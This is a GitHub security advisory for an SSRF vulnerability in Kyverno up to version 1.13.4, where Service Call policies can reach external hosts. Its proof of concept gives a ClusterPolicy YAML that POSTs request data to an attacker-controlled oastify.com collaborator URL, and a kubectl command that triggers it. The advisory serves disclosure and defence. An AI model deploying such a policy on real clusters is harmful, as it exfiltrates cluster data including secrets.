GitHub Advisoryadvisory · Go
GHSA-459x-q9hg-4gpq Kyverno vulnerable to SSRF via Service Calls
HIGH
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- Ecosystem
- Go
- Packages
- github.com/kyverno/kyverno
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-918
- Reviewed
- 2025-04-15
Affected packages
• Go github.com/kyverno/kyverno: <= 1.13.4 (no fix yet)
Description
Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
• name: call-extension
match:
any:
• resources:
kinds:
• ConfigMap
context:
• name: result
apiCall:
method: POST
data:
• key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
• key: "{{ result.allowed }}"
operator: Equals
value: false
```
Now let's create some configmap:
```bash
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
```
Look at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
Related
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness